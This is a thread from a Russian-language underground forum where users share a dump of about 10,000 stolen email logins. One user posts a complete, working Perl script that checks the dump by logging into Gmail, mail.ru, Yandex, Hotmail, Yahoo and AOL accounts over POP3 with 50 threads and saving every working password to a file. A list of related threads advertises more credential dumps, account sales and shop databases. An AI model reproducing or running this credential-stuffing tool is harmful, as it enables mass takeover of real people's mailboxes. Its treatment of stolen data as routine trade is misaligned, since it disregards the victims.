10к валид + приват

  • Автор темы WHO AM I1
  • Дата начала
AmneziaWG
Статус
Закрыто для дальнейших ответов.
H

h4ck3r1

Original poster
Скачал, большое человеческое спасибо.

Посоветуйте,чем можно чекнуть базку и желательно скриптом
 
H

h4ck3r1

Original poster
Нашёл на перле,чекает..

Код:
#!/usr/bin/perl

use warnings;
use strict;

use threads;
use threads::shared;

use IO::Socket;
use IO::Socket::SSL;

use Fcntl ':flock';

### Настройки

my $accounts_file = 'acc.txt'; # Файл с аккаунтами
my $accounts_delimiter = ':'; # Разделитель логина и пароля
my $good_file = 'good.txt';
my $bad_file = 'bad.txt';
my $log_bad = 1;
my $timeout = 10;
my $threads_count = 50; # Количество потоков

### ---------

my %servers = (
    'gmail.com' => {
        'port' => 995, 
        'ssl' => 1,
        'login_email' => 1
       
    },
    'mail.ru' => {
        'host' => 'pop.mail.ru', 
        'port' => 995, 
        'ssl' => 1,
        'login_email' => 1   
       
       
    },
    'yandex.ru' => {
        'host' => 'pop.yandex.ru', 
        'port' => 995, 
        'ssl' => 1,
        'login_email' => 1       
       
       
       
    },
    'hotmail.com' => {
        'host' => 'pop3.live.com', 
        'port' => 995, 
        'ssl' => 1,
        'login_email' => 1
    },
    'yahoo.com' => {
        'host' => 'plus.pop.mail.yahoo.com',
        'port' => 995, 
        'ssl' => 1
    },
    'aol.com' => {
        'port' => 995, 
        'ssl' => 1,
        'login_email' => 1
    }
);

my %statictis : shared = ('good' => 0, 'bad' => 0, 'error' => 0);
my @threads = ();

$| = 1;

my @accounts : shared;
(open FH, '<', $accounts_file) || die "[Error] Can't open $accounts_file: $!";
push @accounts, $_ while <FH>;
close FH;

open FH, '>', $good_file;
close FH;

if ($log_bad) {
    open FH, '>', $bad_file;
    close FH;
}

sub thread_print {
    my ($str) = "@_ [thread ".threads->tid()."]";
    $str .= " " x (78 - length $str) if length $str < 79;
    print $str."\n";
    $str = '';
    $str .= "[ $_ - $statictis{$_} ]" for keys %statictis;
    print $str.'[threads: '.(scalar threads->list() + 1)."]\r";
}

sub check_account {
    while (1) {
        last if !@accounts;
        my $account = lc shift @accounts;
        chomp $account;
        if ($account =~ /([^@]+)@([^$accounts_delimiter]+)$accounts_delimiter(.+)/) {
            my ($login, $host, $password) = ($1, $2, $3);
            my $r_login = $login;
            my $sock;           
            if ($servers{$host}) {
                $r_login = "$login\@$host" if ${$servers{$host}}{'login_email'};
                if (${$servers{$host}}{'ssl'}) {
                    eval { $sock = IO::Socket::SSL->new(PeerAddr => ((${$servers{$host}}{'host'}) ? ${$servers{$host}}{'host'} : "pop.$host"), Proto => 'tcp', PeerPort => ((${$servers{$host}}{'port'}) ? ${$servers{$host}}{'port'} : 110), Timeout => $timeout); };
                } else {
                    eval { $sock = IO::Socket::INET->new(PeerAddr => ((${$servers{$host}}{'host'}) ? ${$servers{$host}}{'host'} : "pop.$host"), Proto => 'tcp', PeerPort => ((${$servers{$host}}{'port'}) ? ${$servers{$host}}{'port'} : 110), Timeout => $timeout); };
                }
            } else {
                eval{ $sock = IO::Socket::INET->new(PeerAddr => "pop.$host", Proto => 'tcp', PeerPort => 110, Timeout => $timeout);    };
            }
            if ($sock) {
                $sock->autoflush(1);
                my $answ;
                $answ = <$sock>;
                my $bad = 1;  
                if ($answ && substr($answ, 0, 1) eq '+') { 
                    print $sock "USER $r_login\n"; 
                    $answ = <$sock>;
                    if ($answ && substr($answ, 0, 1) eq '+') { 
                        print $sock "PASS $password\n";
                        $answ = <$sock>;
                        if ($answ && substr($answ, 0, 1) eq '+') {
                            print $sock "QUIT\n"; 
                            close $sock;
                            $bad = 0;
                            thread_print "[+] $login\@$host$accounts_delimiter$password"; 
                            { lock %statictis; $statictis{'good'}++; } 
                            open FH, '>>', $good_file;
                            flock FH, LOCK_EX;
                            print FH "$login\@$host$accounts_delimiter$password\n";
                            flock FH, LOCK_UN;
                            close FH;
                        } elsif ($answ && $answ =~ /SYS\/PERM/) {
                            $bad = 0;
                            { lock %statictis; $statictis{'error'}++; } 
                            thread_print "[~] $login\@$host$accounts_delimiter$password"; 
                        }
                    }
                }
                if ($bad) {
                    thread_print "[-] $login\@$host$accounts_delimiter$password"; 
                    { lock %statictis; $statictis{'bad'}++; } 
                    if ($log_bad) {
                        open FH, '>>', $bad_file;
                        flock FH, LOCK_EX;
                        print FH "$login\@$host$accounts_delimiter$password\n";
                        flock FH, LOCK_UN;
                        close FH;
                    }
                }
            } else {
                { lock %statictis; $statictis{'error'}++; } 
                thread_print "[E] $login\@$host$accounts_delimiter$password #$?: $!";
            }
        }
    }
    threads->exit->detach;
}

$threads_count = $#accounts if $#accounts < $threads_count;
$threads[$_] = threads->create(\&check_account) for 0..$threads_count - 1;
$_->join for @threads;
my $str;
$str .= "[ $_ - $statictis{$_} ]" for keys %statictis;
print "$str\n";
 
  • Like
Реакции: Богдаг
Статус
Закрыто для дальнейших ответов.
Название темы
Автор Заголовок Раздел Ответы Дата
Q Zabugor 10к (80% валид) Раздача email 0
H MIX 10к (валид - 50%) Раздача email 0
H Zabugor 10к валид есть (60-70%) Раздача email 0
V Zabugor Бывший валид на передлку 10к | 100% privat Раздача email 0
B 10к валид есть , но мало Раздача email 0
fsa1 Легальная работа, хорошие условия, 5-10к/день Предоставляю работу. Ищу специалиста. 1
attilla MYR yandex 10к Раздача email 0
M Закрыто Продам аккаунты Brawl Stars на 10к кубков , 8к кубков , 6к кубков. Корзина 0
U Закрыто Аккаунты и Фото девушек с ссылками на профили в соц сетях(пак на 10к фото) Корзина 0
F Zabugor 10к Привата Раздача email 0
АнАлЬнАя ЧуПаКаБрА Zabugor damp dspolicyfind.ca 10к Раздача email 0
АнАлЬнАя ЧуПаКаБрА Zabugor 10к Дамп пакистанского шопа Раздача email 0
G 10к валида Раздача email 0
S MYR 10к мур приват Раздача email 0
B BTC база 10к Раздача email 0
V 10к за день изи Корзина 2
K Зарабатываем от 10к в день Корзина 4
M MIX 10к строк валида Раздача email 0
S Zabugor 10к валидола Раздача email 0
T [Асгард — С первых рук] Схема от 10к за ночь ) Полезные статьи 8
3 Мутим сертификат на 5к,10к в Связном Раздача dedic/ssh/proxy 8
M Мануал по безопасности за 10к Другое 3
A Серо-белая схема.Продовалась за 10к Способы заработка 9
C Онлайн заработок 10к сутки Корзина 3
A MIX 10к Приват Валид Раздача email 7
A MYR 10к приват 100%+Валид 10 -15 % Раздача email 20
G Скрипт для накрутки фотографий в ВК [до 10к в день] Другие ЯП 12
K MIX 10к private 70% [no hide] Раздача email 4
АнАлЬнАя ЧуПаКаБрА Заточка под ключи 10к. Раздача email 0
S +10к сообщений Вконтакте Другое 0
M 10к валидной Чехии Раздача email 1
Admin Раздача забугор emails 10к Раздача email 0
slovokek Отработаю вашу отработку логов, без валид почты Ищу работу. Предлагаю свои услуги. 0
slovokek Куплю Куплю банки USA (CU-FCU) с валид почтой! Куплю/Продам 1
Q Steam 12k (60% валид) mail:pass Раздача (аккаунтов/ключей) 0
Predator7 Zabugor Под не валид запросы 339 мб Раздача email 0
Predator7 Zabugor Под не валид запросы 367к ( микс) Раздача email 0
Predator7 Zabugor Не валид 4.7кк ( usa много yahoo) Раздача email 0
Predator7 Zabugor Не валид 1кк (микс) Раздача email 0
Predator7 Zabugor Не валид (микс) 813к Раздача email 0
O Куплю скупаю свои валид запросы в логах любое гео Трафик, загрузки, инсталлы, iframe 0
Predator7 MYR Не валид 14к Раздача email 0
Predator7 Zabugor Под не валид запросы 5кк Раздача email 0
slovokek Куплю Куплю свой запрос в вашей валид базе US (mail:pass) Куплю/Продам 0
F Куплю Куплю валид базу работодателей hh.ru Куплю/Продам 1
B Закрыто NeverShop, бот по продаже валид баз и аккаунтов Корзина 0
J Zabugor EUROPE 15700 валид mail:pass Раздача email 0
K Закрыто Актуализируем / прочекаем Ваши телефонные базы на валид Корзина 1
kolt512 Куплю Куплю валид почты: @globo.com @globomail.com Куплю/Продам 0
L Ищу кто продает валид базы usa Куплю/Продам 0

Название темы